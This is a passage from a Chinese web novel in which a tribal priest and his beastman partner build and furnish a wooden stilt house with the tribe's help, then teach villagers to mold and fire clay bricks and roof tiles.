莫淮山:“你也跟着锯了?” 花时安:“那肯定呀,别人来帮忙,我作为主人总不能站旁边看着吧?” 莫淮山眼神复杂地看了花时安一眼,拇指轻轻摩挲他的手背,哑着嗓子开口:“回头我去谢谢他们,但时安,之后不让他们来了好不好?我、我能干的,我不怕累,会尽快把房子盖好。” “别人好心帮忙,为什么不让来?”花时安不理解。 莫淮山略显局促地抿了抿嘴唇,犹豫再三,老老实实道:“他们来帮忙,你就得跟着干,时安,我不想你太累。” 想过很多种可能,唯独没想到是这个原因,花时安笑出了声,转身面对莫淮山,看着他的眼睛认认真真道:“别的亚兽能干,我当然也能干,别把我当幼崽了淮山。” “我是你的伴侣,是你的另一半,本就应当与你一同奋斗。这些活确实很辛苦,但我也乐在其中,我们要共进共退,把房子盖好,把日子过好,而不是什么都让你一个人面对。” “可是……”莫淮山神情难掩失落,垂眸错开视线,“之前说过的,我会对你好,不让你辛苦,不让你受累。” 脑袋都快垂到胸口了,正好,花时安伸手揉了一把,笑吟吟道:“不让我干活就是对我好了?那我要是想干呢,岂不是剥夺了我的乐趣?” “别东想西想的,对我好有很多种方式,比如外出给我带回一颗野果、一朵花,证明你时时刻刻惦记着我,比如我做饭你要夸奖,给我提供情绪价值,比如——” 说一半突然又不说了,莫淮山感觉这个很重要,忙地问道:“比如什么?” 花时安勾唇一笑,“经常变回兽形给我摸。” 第114章 第 114 章 人缘 早晨瞌睡正香, 树洞忽然传来一阵窸窸窣窣的响动,花时安半梦半醒翻了个身,手臂下意识往莫淮山身上搭,不料身侧空无一人, 无处安放的手臂“啪”地一下打在了竹席上。 睡意顿时散了大半, 花时安眼皮子微动, 迷迷糊糊就要转醒,而这时,一只温热的手落在胸口,轻轻拍打着,哄小孩似的安抚:“没事,没事的时安, 时间还早,你再睡会儿。” 熟悉的嗓音掠过耳畔,心中那点不安烟消云散,花时安踏踏实实地闭上眼,小声嘟囔了一句:“你呢?这么早你要去干嘛?” “睡糊涂了?” 莫淮山穿好衣服站在床沿边,低头看着花时安的睡颜。 紧闭的双眼微微颤动,想睁开却又睁不开, 与困意作斗争的样子有些过于可爱, 莫淮山不由自主地伸出手,刮了刮花时安的鼻尖, 掌心贴着柔软的脸颊, 轻声回答道:“木材备齐,今天咱们要盖房子了。不是说好先用两天时间把基础打好,之后慢慢盖嘛,我得去和大族长说一声, 这两天暂时不参与狩猎。” 脑子不太清醒,有点转不动,花时安似懂非懂地“哦”了一声,懒洋洋道:“那你早点回来。” “睡吧睡吧,等下就回。”莫淮山恋恋不舍地抽回手,抬脚走向洞口。 “嘎吱”一声响,竹门开了又关,早晨的凉气被微风带进树洞。 人一走,风一吹,花时安反而没那么困了,迟钝的大脑开始运转,意识逐渐回笼。 采集队帮了大忙,亚兽十三人一组,每天傍晚轮流来歪脖子树干活。 人多力量大,仅是五个晚上,歪脖子树下粗壮的树干尽数化为建材,厚实光滑的木板、棱角分明的木条、挺直坚硬的梁柱……连榫头卯眼都帮忙凿好了,整齐堆放在树脚下。 接下来只需搭好框架,按顺序将木材组装上去,他们便能拥有一座属于自己的房子。 十几二十天的活五个晚上就干完了,比原计划提前太多太多,花时安越想越兴奋,一点睡意都没了,他倏地睁开眼,一个鲤鱼打挺从床上坐了起来,抓起衣服麻利地往头上套。 盖房子要紧,懒觉什么的,等房子盖好再睡也不迟。 起床,洗漱,花时安刚把自己收拾干净,莫淮山回来了,端着早饭健步如飞地走进树洞。 肚子饿了,花时安的注意力被两海碗热气腾腾的蒸南瓜吸引,未留意到兽人怪异的神情。直到南瓜放上竹桌,兽人若有所思地坐在床边,迟迟不动筷,花时安终于意识到了不对劲,放下即将送到嘴边的蒸南瓜,摇了摇莫淮山的手臂。 “怎么了怎么了?谁惹我们淮山不高兴了?” 莫淮山笑着摇摇头,伸手在花时安头顶上揉了一把,“没有不高兴,就是有点想不通,我刚刚和大族长说今明两天不参与狩猎,他居然不答应。” “啊?”花时安愣一瞬,“为什么啊?” 莫淮山:“不知道,他不肯解释,就说不行。” 忙前忙后将木材备齐,就等着盖房子了,大族长居然不批假? 花时安想不明白,一拍大腿果断站起身,转头就往洞口走,“我找他问问去。” 步子还没迈开,胳膊被人抓住了,莫淮山轻轻将他拽回床边,往他手里塞了一块热乎乎的南瓜,“别着急,现在和以前不一样了,和你结成伴侣后,没有人会故意刁难我。大族长不答应可能有别的想法,兴许狩猎队今天有安排。” “那我们今天钉不了桩柱,盖不了房子了?” 南瓜都不甜了,花时安啃了一小口,食不知味地嚼吧嚼吧。 “先吃饭,吃完我再去问问。”莫淮山捏了捏花时安的下巴,嘴角微扬,眸中带着温柔和煦的笑,“别不高兴,一会儿我再去争取一下,实在不行就晚上回来盖,连夜钉桩柱,会尽快让时安住上新房子的。” 低沉浑厚的嗓音自带说服力,有被安抚到,花时安抬头看着兽人轮廓分明的侧脸,欣然一笑。 不知从何时开始,自家极度缺乏自信、毫无主见的兽人改变了,他好似一夜之间长大了,学会了自己拿主意,不再事事依赖花时安,还会反过来为花时安分忧解愁,变成了一个独当一面的兽人,担起了伴侣的责任。 自卑敏感的,成熟懂事的,不论哪一种状态,花时安都喜欢,喜欢得不得了。 部落有安排便以部落为先,两海碗蒸南瓜吃完,莫淮山又该出门了。 说是去争取,但两个人都清楚,这一去十有八九晚上才会回来。 对花时安始终不太放心,已经挥手告别,钻出树洞走出一段距离了,莫淮山又匆匆折返回来,看着倚靠在树洞门口的花时安,耐心嘱咐道:“时安,顺利的话我一会儿就回来,咱们一起埋桩柱,如果我没有回来,你好好待在家里,干干杂活就行,千万别心急,不要自己动手。” “特意跑回来交代这个?”花时安挑了下眉,“扑哧”笑出声,“你真看得起我,我就算想动手也是有心无力啊,随便一根桩柱都死沉死沉的,我可扛不动。放心出去吧,心急吃不了热豆腐,这个道理我还是懂的。” 莫淮山咧嘴一笑,“那就好,等我回——” “莫淮山!” 一道嘹亮的高呼从不远处传来,木屋脚下,大族长和一群兽人拿着工具,浩浩荡荡地朝歪脖子树走来。 以为他们来催促莫淮山出门,花时安忙地和兽人摆摆手,“快去吧,好像就等你了。” 莫淮山“嗯”了一声,转身飞快跑去,火速融入大部队。 队伍并未因莫淮山的加入而停下脚步,大族长目标明确,带着狩猎队径直向前走,最后齐刷刷停在歪脖子树下。 招呼也不打一声,大族长手一挥,三十多个兽人顿时散开来,有的抡起锄头帮忙挖基坑、有的拎起锯子帮忙锯木板、有的整理木材抬桩柱……好似一群训练有素的士兵,话不多说,自顾自地忙碌起来。 这阵仗,好一个入室抢劫式帮忙,花时安看得一愣一愣的,好半晌才回过神。 快速扫了一圈,瞅见人群中双手抱臂的大族长,花时安快步上前,满是诧异地问道:“什么情况大族长?你们这招呼也不打一声,搞突然袭击啊?” 同样被蒙在鼓里的莫淮山一脸震惊,风风火火地走上前,满眼不可置信地看着大族长,“这、这……今天不是要出去狩猎吗?族长,你们什么时候商量好的,怎么还瞒着我和时安,刚才也不告诉我。” “哈哈哈哈……” 要的就是这个效果,看着两人脸上的震惊,大族长心满意足地笑出声。 乐上好一阵儿,大族长上前半步走到两人中间,抬手拍了拍他们的肩膀,得意扬扬道:“怎么样,惊不惊喜,意不意外?是不是以为今天盖不了房子,正失望呢?没想到吧,我们来了!” 确实没想到,没想到大族长也学会了制造惊喜。 情绪价值要给到位,花时安十分感激地看了大族长一眼,勾唇笑笑道:“淮山说今天要出门狩猎,盖不了房子,我又失望又难过,刚才差点都哭了,得亏你们来得及时。” 哭是假的,但高兴做不了假,大族长被花时安的话逗乐了,龇着大牙哈哈大笑几声,这才不紧不慢地解释道:“我们狩猎队虽然没过来帮忙,但一直在关注你们家房子的进度。昨晚采集队说你们的木材备齐了,我们连夜就商量好了,今天过来帮忙,争取用一天时间帮你们把房子盖好。” 想起来了,花时安两手一拍,“我说呢,昨晚我和淮山吃完饭都走了,你们还在桌上坐着。我还以为你们转性了,学会细嚼慢咽了,结果故意的啊,背着我们商量事儿。” “怎么连我瞒着,那会儿问你你还骗我。” 作为狩猎队的一员,却被排除在外,莫淮山有点委屈,小声嘟囔道。 “哎呀你小子。”大族长一巴掌甩在莫淮山胳膊上,“先抑后扬懂不懂?祭司大人教的,先拉低期待,再把好消息告诉你们,这才叫惊喜。至于瞒着你,你和祭司大人是一家人,既然瞒着他,当然也要瞒着你,这是给你们两个的惊喜。” 原来惊喜也有他的份吗? 从未被族人如此郑重对待,莫淮山微微一怔,不可置信地看着大族长。 一件小事就把人感动成这样,大族长眼中闪过一丝愧色,不太自然地岔开话题:“好了好了,咱们也别在这站着了,走吧,干活去,今天就把你们家房子盖出来。” 三十多个兽人盖一座小木屋,着实有点浪费人力,花时安抬头环视一圈,叫住摩拳擦掌准备大干一场的大族长,“大族长,谢谢你们狩猎队今天过来帮忙。我知道大家都想快点帮我们盖好房子,但这人……会不会有点太多了?” “多吗?”大族长闻言回头看了一眼,歪脖子树下密密麻麻全是人,肩挨着肩,人挤着人,好些兽人想帮忙都找不到事做。 “好像是有点多。”大族长嘿嘿一笑,转头朝花时安扬了扬下巴,“那能怎么办呢?” 花时安捏着下巴思索片刻,温声提议:“留一半的人就够了,要不这样吧,留十五个,剩下的——” “这个我说了不算。”大族长打断花时安的话,摆摆手道:“今天来帮忙盖房子不是我一个人的主意,这是大家一起商量出来的结果,谁走谁留下,祭司大人,你得跟他们说去。” 大族长说话声音不算小,花时安还没来得及开口,四周听到动静的兽人纷纷抗议: “我不走,谁爱走谁走,我要帮祭司大人盖房子!” “你不走,那我也不走。” “想赶我走?没门,除非让我横着走。” “没错,我们今天就赖在这了!” …… 大族长耸了耸肩,似笑非笑地看着花时安,那神情像是在说:你看,我也没办法。 花时安无奈笑了声,扯着嗓子回应众人:“不走,都不准走,今天帮我们把房子盖好才能走!” 话音刚落,一道中气十足的女声从前方传来: “真的吗祭司大人?那也不能赶我们走哦。” 循着声源望去,花时安瞳孔猛地一缩。 晨露散去,太阳冉冉升起,木屋门前绿油油的草地上,树飞带着近二十个树鼩兽人快步走向歪脖子树。 第115章 第 115 章 搬新家 两个部落五十多个兽人, 毫不夸张地说,一人出一只手都能迅速将木屋搞定。 木屋的搭建速度远超预期,花时安感觉自己都没干多少活,甚至都没怎么出汗, 可太阳最为炙热的正午, 歪脖子树左侧空无一物的泥地上, 一座精致小巧的多层木屋拔地而起,巍然矗立在阳光间隙中。 同样的材料,同样的建造方式,小木屋与作为食堂的大木屋却有着明显的不同。 住宅虽小,个头更高,它将近两层楼高, 盖着芦苇草束的房顶刚好在歪脖子树横向生长的主干下方。同为干栏式建筑,木屋底部与食堂一致,做了一米出头的抬高,但坐落在平台上的房屋还要高出一大截,因为其内部比食堂多出一层,是一座假三层建筑。 平台之下为一楼,夏季用来防潮, 冬季用来储柴;平台之上为二层, 设有厨房卧室,作为主要生活区;二层之上屋顶之下为三层, 是一层只有半人高、猫着腰才能钻进去的小阁楼, 专门用来储藏粮食的储藏室。 平地起高楼,兽人的效率毋庸置疑,刚开始花时安还担心人多混乱,担心兽人干活马虎, 导致木屋最终效果出现偏差,但兽人们全程听从安排听从指挥,干起活来认真又仔细,最终呈现在眼前的木屋与他原本设计的一模一样,未曾出现半点偏差。 古典精致的农家小木楼,满意,花时安相当满意。 木屋坐北朝南,面向草地,背对森林,通往主屋唯一的楼梯自然也开在草地侧边,花时安踩着台阶登上平台,首先看到一圈整齐排列的护栏,而护栏与屋檐之间,一米多宽的全景阳台铺满木地板,绕屋一周。 阳台还算宽敞,通风采光效果极好,白天用来晒谷物粮食,晚上用来庇荫纳凉都是个不错的选择。 推开正面两扇沉甸甸的木门,一间宽敞明亮的堂屋映入眼帘。堂屋开间不大,进深较长,室内没有做过多的隔断,使得堂屋看起来简约大气、开阔亮堂,平日若与好友相聚,摆上三两张圆桌、容纳二三十人绰绰有余。 堂屋左右两侧各开了两扇门,右侧有歪脖子树遮挡,采光略差一点,花时安早就打算好了,面向草地这间大点用来做厨房,回头砌个灶台,垒个操作台,多余空间还能放一张饭桌,没有客人时,自家两个人就坐在厨房里吃饭。 而挨着森林的小房间,正好用来做洗手间。 左侧毫无遮挡,通风采光极好的两间屋,里面那间作为杂物间,平日用来堆放一些生活杂物,有客人来过夜时还可作为客卧,而站在窗口可俯瞰整片草地,远眺河景的大房间——花时安和莫淮山的卧室。 房屋盖好,门窗安装好,但家具尚未制作好,堂屋和四间屋子都空荡荡的,一整个家徒四壁。花时安楼下楼上到处逛了一圈,检查门窗,检查地板,最后将小阁楼仔细检查了一遍,慢悠悠地下楼,完成验收。 没发现大问题,木屋算是彻底完工了,花时安本想与前来帮忙的兽人郑重道个谢,不料重新走回歪脖子树,方才还摩肩接踵、热热闹闹的林隙变得无比安静,门前打转的兽人全都不见踪影,只有莫淮山一个人蹲在地上清理木屑。 这就走了?花时安环视一圈,真就一个人都没看见,于是快步走到莫淮山身后,伸手拍了拍他的肩膀,“淮山,怎么就你一个了,他们人呢?” 正捧着木屑往背篓里丢,肩膀突然被拍了下,莫淮山吓得一激灵,猛地一回头。 瞅见是花时安,他肉眼可见地松了一口气,眼底漾出笑意,“时安你走路都没声音,吓我一跳。他们走了,你刚上楼的时候就走了,大族长和树飞族长说时间还早,带着狩猎队在附近转一转。” “跑这么快,那你和他们道谢没有?”花时安摸了摸他汗津津的后背。 莫淮山认真点点头,“道过了,他们走的时候我说了好多遍。” “那就好。”花时安蹲在莫淮山身旁,用手背擦掉他额头上的汗珠,语重心长道:“能这么快住上新房子,多亏了族人的帮助。这些都是人情,之后可能还要辛苦你一段时间,别人家盖房子我们也该去帮帮忙,这才是表达感激的正确方式。” “我知道了时安,从明天开始,狩猎回来我就去帮忙。”莫淮山郑重其事道。 “好哦。”花时安笑了笑,抓着莫淮山的手腕把人拽起来,语调突然变得高昂:“先别收拾了,走,趁着时间还早,咱们先去拼点家具出来。” 干这个可就不累了,莫淮山激动地搓搓手,“先做床吧,把床拼好我们今晚睡新屋子。” “这么想住新屋子?” “想,特别想。” “巧了,我也想。” 帮忙帮到底,有些兽人闲来无事,帮他们把制作家具所需要的木板也锯好了。花时安和莫淮山现在要做的就是把长短不一的木板组装在一起,按顺序将榫头卡进卯眼中,便可将木板、木条变为一件件崭新的家具。 在楼下组装还要一样一样往屋里抬,非常费力不说,像床这种大件家具,横着竖着都不好抬进卧室,所以花时安一寻思,索性和莫淮山把木材搬上楼,直接在屋子里进行组装。 兽人的愿望当然要满足,家具从床开始。 木板是花时安亲自量的,床头、床框、床板挨个儿组装好,一张一米八的原木大床稳稳放在卧室一角。 住在狭窄的树洞里憋屈太久,花时安无比渴望一张宽敞的大床,特意奖励自己。但莫淮山对此似乎有些不满意,床拼好就闷闷不乐地绷着嘴角,花时安再三追问他才耷拉着脑袋小声咕哝:“小床可以抱着睡,床太大各睡一边,挨都挨不着。” 花时安乐得不行,亲了亲他,保证每晚都抱着睡才把人哄好。 与昏暗狭窄的树洞不同,卧室有大把空间,只放一张床自然不够,于是花时安和莫淮山又在木板堆里翻找,用提前制作好的木板拼了两个带抽屉的床头柜,以及一个半人高的三层储物柜。 卧室搞定,接下来该轮到堂屋了,堂屋花时安没想好要添些什么家具,暂时只有一张原木方桌,四把配套座椅。 给厨房准备的用具比较多,预留出灶台和操作台的位置,莫淮山掏出锤子、钉子,在窗户左右两侧钉了两排整整齐齐的橱柜。食堂有的家里也得有,花时安乒乒乓乓又是一顿折腾,组装了一张和食堂一模一样的长餐桌、两把带靠背的椅子。 家具陆陆续续添进来,渐渐填满空荡荡的房间,尤其是花时安和莫淮山搬空树洞,将竹具与全部家当搬到木屋,如样板间一般冷冰冰的木屋顿时有了温度,多了一丝鲜活的生活气息。 搬家,住新房! 花时安心情大好,一整个下午嘴角就没下来过。 部落第一座真正意义上的住宅,木楼的魅力不是一般的大,傍晚采集队回来,亚兽们背篓一放,身上泥土与汗水都顾不上清洗,一群人风风火火冲到花时安家。 房子是亚兽们一锯子一锯子锯出来的,花时安当然不会把他们拒之门外,热情招呼族人进屋,一间一间地介绍。 屋里屋外溜达了一圈,住了大半辈子树洞的木族长激动不已,上来就捏着花时安的肩膀,语无伦次地感叹:“前半辈子真是白活了,半截身子入土了我才知道,原来人吃饭睡觉的地方还能这般精致舒适。” “吃归吃,住归住,还有多余的空间储物。不是我说,在这种宽敞亮堂、温馨舒适的房子里生活,每天早上都是幸福醒的,干活都更有力气。” 这话算是说到心坎里了,聚在堂屋里的亚兽纷纷附和: “说再多不如亲眼看见,祭司大人说的住宅真的好漂亮、好舒服啊,我要是在这种屋子里睡觉,晚上做梦都会笑醒。” “好大好宽敞,我们以前过得都是什么日子啊!” “把食物变好吃,把树洞变房子,祭司大人真了不起!” “咱们也抓紧时间吧,我等不及了,好想住新房子!” “不行了,我不行了,想到再过不久我和家人也能住上这样的木屋,我简直要幸福晕了!” …… 居安思危,房屋带给人的安全感和幸福感绝不是阴暗狭窄的树洞能比较的。花时安十分理解族人的心情,但他们……似乎有点过于激动了。 亚兽里三层外三层,跟冬天往身上裹衣服似的,把他团团围住。手腕不知道被谁抓住了,如同时钟指针左摇右摆,粗粝的手掌捏着肩膀,力道之大,骨头都快给他捏碎了。 真够亢奋的,花时安哭笑不得,费了九牛二虎之力才挣脱众人的魔爪。眼看亚兽们又要扑上来了,他握拳抵唇清了清嗓子,颇为郑重其事道:“好了好了,现在搬离树洞,住进房屋还不晚,咱们加把劲,争取在田间农作物成熟之前把房子盖好,我们吃住不愁,衣食无忧的生活才刚刚开始。” “知道大家都没住过宽敞的屋子,心里痒痒,这样,我们次卧还空着,一次应该能睡三五个人,有谁想提前体验的可以来报名了!” “我我我,我要体验!” “我也要,我也要。” “堂屋也空着呀,这么大间屋,睡十几二十个人都没问题。” “堂屋没有床,睡哪,睡地上吗?” “不管了不管了,我要体验祭司大人的新房子,别说睡地上,让我靠墙站着睡都行!” 第116章 第 116 章 砖瓦 新房子新体验, 第二天睡醒从楼上下来,花时安红光满面,精神倍好,而同样在木屋里过夜的亚兽顶着浓浓的黑圈, 瞅着像是一宿没睡, 不是在打哈欠就是在揉肩捶背。 原因嘛, 主要有两个,一是兴奋地睡不着,一群亚兽凑一块,嘀嘀咕咕聊到后半夜;二是人太多,几乎一整个采集队都睡在木楼里,最后只能打地铺, 睡得那叫一个腰酸背痛。 不过亚兽们对这次体验相当满意,尽管睡地板睡得浑身难受,第二天却集体打了鸡血,老早爬起来砍树,给自家房子添砖加瓦。 吃过早饭,狩猎队与采集队相继离开,但偌大的食堂里不止花时安一个人, 旁边餐桌还坐着岩知乐、红映兰、长月月等六个亚兽人。 特意让他们留下, 肯定有事要做,岩知乐吃饭的时候一直在琢磨, 可惜小脑袋瓜子转不动, 饭都吃完了也没能琢磨出个所以然。 这会儿人走得差不多了,花时安身旁终于空出位置,他端着自己干干净净地空碗挪到花时安旁边坐着,直截了当地问:“祭司大人, 咱们今天到底做什么呀,你是不是又要教我们做新东西了?” 好奇这个问题的不止他一个,其他亚兽也跟着凑了过来。 “又要做什么,好期待啊。” “祭司大人教的肯定是好东西。” 喝完最后一口汤,花时安放下碗,擦了擦鬓角热出来的薄汗。看着满怀期待的众人,他故意卖了个关子,薄唇轻启,缓缓吐出三个字:“玩泥巴。” “啊?” 上一秒还笑嘻嘻,听到玩泥巴三个字,岩知乐小脸一垮,上扬的嘴角顿时绷成一条直线,“部落不是已经很多陶器了吗,用都用不完,怎么还要玩泥巴呀?” “真的是捏陶器吗?”小个子亚兽面露失望。 长月月聪明小脑瓜子一转,托腮分析道:“青叔他们一得空就在捏陶器、编背篓,部落的工具早就够用了。祭司大人说玩泥巴,那肯定不是捏普通的陶器,我猜……和灶台有关!” “聪明啊月月。”花时安眼睛一亮,挑眉看向长月月,“你怎么知道和灶台有关系?” 被夸了,长月月抿着嘴唇腼腆一笑,认真回答道:“你家木屋昨天下午就完工了,有时间垒灶台却一直没垒,而且上次垒灶台你提到过可以用黏土做泥砖,我就在想你是不是要教我们做泥砖。” 聪明的亚兽都猜得八九不离十了,岩知乐还歪着脑袋玛卡巴卡,眼神里透露着清澈的愚蠢,“泥砖,什么是泥砖?祭司大人说过吗?什么时候?” “闭嘴吧你。”红映兰恨铁不成钢地看了他一眼。 懒得搭理他,花时安接着长月月的话往下说:“月月基本猜对了,今天要教大家做的就是砖瓦。不仅仅是泥砖,还要将晒干的砖坯放进窑炉中烧制,烧成更坚硬结实的火砖。” 巨枝皱着眉头思索片刻,忙问道:“黏土晒干放进窑炉中烧制不是会变脆吗,就像陶器一样,怎么会变得更坚硬呢?” 有疑问是好事,花时安笑了笑,慢条斯理回答道:“陶器是用黏土捏出各种形状的器具,通常是空心的,坯壁主打一个轻薄。砖完全不一样,你们可以想象一下,把黏土压紧压实,揉成一个实心的泥块,再经过烧制硬化,是不是变得跟石头一样?” 巨枝小鸡啄米似的点点头,“我懂了祭司大人。” 饭吃完了,今天要做什么也说清楚了,花时安拉开椅子站起身,抬头朝众人扬了扬下巴,“走吧,那我们干——” “祭司大人。”长月月打断了他的话,道出新的疑问:“砖我大概明白了,可你刚刚说的瓦又是什么?” 一经提醒才想起来,花时安拍了拍额头,简单说明:“劈成两半铺在房顶上的竹片记得吗?那个其实就是用来代替瓦片的。真正的瓦片同样用黏土烧制,它会更大更光滑,像鱼鳞一样一片一片地铺在房顶上,能用得更久,防晒防水效果也更好。” “原来黏土这么多用处,我还以为只能烧陶器呢。” “走走走,干活去,正好狩猎队前几天帮忙弄了黏土。” …… 说是玩泥巴,但砖头瓦片不是徒手就能捏出来的,在这之前,花时安还需要带着他们做一批模具出来。 家家户户都在盖房子,木头简直不要太好找,大热天的懒得往森林里,花时安带着亚兽们在部落里逛了一圈,捡回来一堆边角料。 砖头为长方形,模具制作起来非常简单。量好长宽,将稍宽一点的木板锯成合适长短,在连接处凿出榫头卯眼,最后拼在一块便是一个规整的长方形模具。 瓦片就没那么简单了,瓦片为弧形,用木板拼是拼不出来的,花时安找了一块厚木板,用凿子试着凿了一下,费劲不说,凿出来的凹槽凹凸不平,狗啃出来似的。 凿完还要打磨,费时又费力,此法明显行不通,花时安揉着眉心一筹莫展,余光扫过亚兽捡边角料时捡过来的树皮,心中忽然有了主意。 为了顺利扒掉树皮,兽人通常会在树干横着竖着来两刀,把树皮切割成两半、切成多段来剥。 剥下来的树皮相对完整,像一个凹陷的水槽,虽然晒干了有点卷边,但把两边削一削,可不就是内里光滑的瓦片的形状。 不用打磨不用凿,这可省事多了,花时安当即扯过树皮,手起刀落将其砍成两段,顺势劈掉边缘卷翘的树皮,一个坚硬厚实的弧形瓦片模具就制作好了。 在现代社会,砖头瓦片这类建材都有着明确的标准尺寸,但花时安的脑子又不是计算机,他只是偶然见过而已,凭借模糊的印象来制作,根本做不到一比一复刻。 不过大点小点也不影响,反正自家房子也不会专门来人验收,只要误差别太大,保证每块砖头、每张瓦片大小一致即可,方便后续使用。 制作模具没耽搁太多时间,晨露散尽,和煦的朝阳变为炎炎烈日,花时安和六个亚兽已各自拿着模具蹲在门前草地。 模具过一遍水,轻放于平铺在草地、为晒粮食准备的晒簟上。干稀适中的黏土塞进模具中,使劲压紧实,用木条刮去多余黏土,将上下两面刮平,直至光滑。 模具事先过了水,脱模并不困难,手掌沿着边缘拍打一圈,握着模具端端往上一提,晒簟顿时只剩一块平整光滑、有棱有角的泥砖。 瓦片稍稍复杂一点,树皮同样先过水,然后将黏土平铺在树皮内里,薄厚统一与花时安食指厚的木条为准,亚兽人手一根,以此参考。 揪去多余黏土,把剩余黏土沿着树皮抹平、压紧实、抹光滑,旋即倒扣在晒簟上,一片正反两面皆无比光滑、优美的弧形瓦片大功告成。 从生疏到熟练,亚兽制作砖头瓦片的速度越来越快,忙活到日暮西沉的傍晚,草地上为晒粮食准备的晒簟密密麻麻,目之所及皆是泥砖泥瓦。 正值炎热的三伏天,日头毒辣得很,傍晚收工时,早上最先做的那两批泥砖泥瓦表面都已经晒干了。虽然里面还没干,但表面晒干代表可以移动,花时安带着亚兽将半干的砖瓦挪到草地上继续晾晒,把晒簟空出来,方便明天使用。 盖房子的人多,需要的砖瓦也多,得趁着有时间有空闲,给在外劳作的族人也准备一些。 砖瓦带来的新鲜感转化成了动力,晒了一天的太阳,出了一身的汗,亚兽们裹得跟泥猴一样,却没一个人喊累,甚至到河边洗澡的时候还格外有精神,叽叽喳喳地议论。 “我刚开始还是想象不出来瓦片盖在房顶上的样子。你们想啊,瓦片可没有砖头那么厚实,也就和厚一点的陶锅差不多,我真怕风一吹掉下来,全给摔碎了。” “是啊,我开始也担心这个问题,还好祭司大人给我们解释了。瓦片一正一反,底层瓦会嵌入上一层瓦片凹槽中,互相叠压互为锁扣,真的好神奇。” “哼哼,不愧是我们祭司大人。”头号粉丝岩知乐乐此不疲地给花时安戴高帽子,完事儿又夸起了泥砖:“神奇的不止瓦片,砖头也很神奇的好吧,早上祭司大人说揉成一团,我真以为用手随便揉一揉,跟路边的石头一样,没想到最后做出来的砖头居然又平整又方正,还每一块都长得一模一样。” 彩虹屁吹的花时安都有点听不下去了,他本来很认真地洗澡,不想接话,结果离他最远的男亚兽扯着嗓子道:“砖头这种好东西真该早点做出来,这样我们当初就可以用砖头给厨房垒一个漂亮点的灶台了。” 亚兽这话并无其他意思,纯粹一句感慨,但花时安想得有点多,不想族人误会自己,借机解释了一句:“这个问题我当时说过,厨房用不了多久,随便垒个灶台暂时用一用。如今开始搭建我们要住一辈子的房屋,材料当然要用最好的。” “说到材料,”花时安勾唇一笑,神秘兮兮道:“其实砖头也可以用来盖房子,它盖出来的房子甚至比木屋更结实更牢固,无惧风吹雨打,不怕潮湿发霉。” 压根没往这块想过,河里洗澡的亚兽闻言齐齐一愣。 岩知乐最先回过神,急急忙忙地问:“那、那我们为什么不用砖头盖房子啊?用模具做砖头可比锯木头轻松多了!” “笨,只想着制作简单,没想过原材料怎么获取吗?森林里到处都是树,拎着斧头随便砍,但黏土呢,就下游湿地有,一天跑两三个来回,带回两三背篓黏土,照这个速度,猴年马月才能盖好房子。”要不是离得远,花时安真想在他脑门上敲一下。 原材料难获取只是原因之一,盖砖房需要的可不只是砖头,还需要大量石灰、沙石、水泥……甚至打地基还要尝试将铁炼成钢,从而锻造钢筋。 除去这些复杂因素,最终选择木屋还藏着一点小私心。 花时安喜欢木屋,毕竟森林与木屋更加适配。 第117章 第 117 章 收拾小家 饭后宁静的夜晚, 河边草地人来人往,依旧在忙碌中。 最后一批瓦片出窑了,四五个兽人摸黑在窑室里搬,七八个兽人则趴在窑口伸手接, 蹲在四周的亚兽负责摆放, 将刚出窑的瓦片与先前几批瓦片整齐堆放在一起, 方便后续清点。 制作、晾晒、烧制,经过一个多月的努力,砖瓦总算是备齐了。窑炉四周完全变了模样,砖头一块叠一块,瓦片一张重一张,原本绿油油的草地变成了一个灰扑扑的砖瓦厂, 目之所及皆是砖瓦垛,看不见一点绿色。 天气闷热,夜里也不见凉快多少,花时安和两位族长沿着砖瓦垛进行最后的清点以及分配,分明没有干重活,却照样满头大汗。 大部分族人的房屋都没盖好,所需要的瓦片尚不能明确数量, 但田里的水稻开始泛黄, 过段时间该收谷子了,得尽快把占地方的砖瓦搬走, 把草地收拾出来准备晒粮食。 砖头瓦片实在太多, 堆在哪里都不合适,花时安思来想去,最后还是决定把砖瓦清点出来,分发下去, 让族人各自搬回自家门口堆着。 至于一家分多少,他前几天已经想到了办法。 前两天抽空给自家房子换了新瓦,花时安特意数了一下,一共用了多少张瓦片。以自家木屋为参考,他找族人挨个统计,最终将木屋分成大中小三个号。 自家木屋为中号,盖一样的房子拿一样的瓦片,大号木屋就多拿一点,小号则少拿。不用担心不够用,瓦片烧制得足够多,花时安简单粗暴地分配,甚至在原本的基础上又加了两百张,作为损耗或替换。 砖头主要用来垒灶台烟囱,数量不需要太多,自家灶台还没空垒,花时安只能通过长宽及高度来估算,最后进行分配。 人多干活利索,没过多久便搬空了窑室,红勇领着兽人从窑炉里钻出来,携着一身热气前来汇报:“族长、祭司大人,瓦片全部搬出来了,现在我们该做什么?” 窑室窄小闷热,兽人们热得一身汗,跟水里捞出来似的。 站在红勇身后的莫淮山同样如此,他身上窑灰与汗水混杂,灰头土脸,活脱脱一个挖煤工人。花时安不着痕迹地看了他一眼,正想让他们休息一会儿,大族长抢先开口道: “砖垛瓦堆也快分好了,时间不早了,去食堂里拿点背篓过来,开始往回背吧。砖垛瓦堆的大小应该一眼就能看出来,盖大的拿大的,盖小的拿小的,之前给祭司大人怎么报的就怎么拿,别乱动人家的。” 这话一出,兽人顿时激动起来。 “不枉我们辛苦这么久,盖房子的材料终于备齐了!” “你辛苦个什么劲儿?我们狩猎队就每天晚上回来帮帮忙,而祭司大人他们呢,太阳底下一晒晒一天,他们才辛苦好吧!” “哈哈,谢谢祭司大人,我家房子马上就盖好了,就等着这些砖头瓦片。” “哎哟,我也得加把劲了,我家才刚把平台搭好。” “祭司大人家的瓦片房顶馋死我了,终于啊,我们家也要有了!” “走了走了,回食堂拿背篓去!” 兽人们越说越兴奋,浩浩荡荡地朝营地走去,但没走出几步,大族长一拍脑门,忙地叫住他们:“等下等下,我还有个事儿忘了说。” 兽人闻言停下步伐,还没来得及掉头,大族长匆匆迎了上去,刻意压低嗓音交代红勇:“你们得麻利点,先搬自家的,搬完赶紧回来。砖头瓦片分量都不轻,那些家里没有兽人的,年纪大的,还有伤患,你们必须帮他们也搬回去。” “我知道的族长。”红勇郑重其事地点点头:“我们本来就是这么打算的。” 瞧他神秘兮兮,特意凑过来听了一耳朵的花时安也跟着点点头,不由在心里感慨:好族长,真贴心。 …… 洗完澡回到家,已是深更半夜,花时安困得眼皮子都睁不开,走路都靠在莫淮山肩上,迈着小碎步,但路过厨房门口,看到里面堆放整齐的砖头,他忽然又恢复了一点精力。 干活就该一次性干完,然后躺平,安安心心地休息啊! 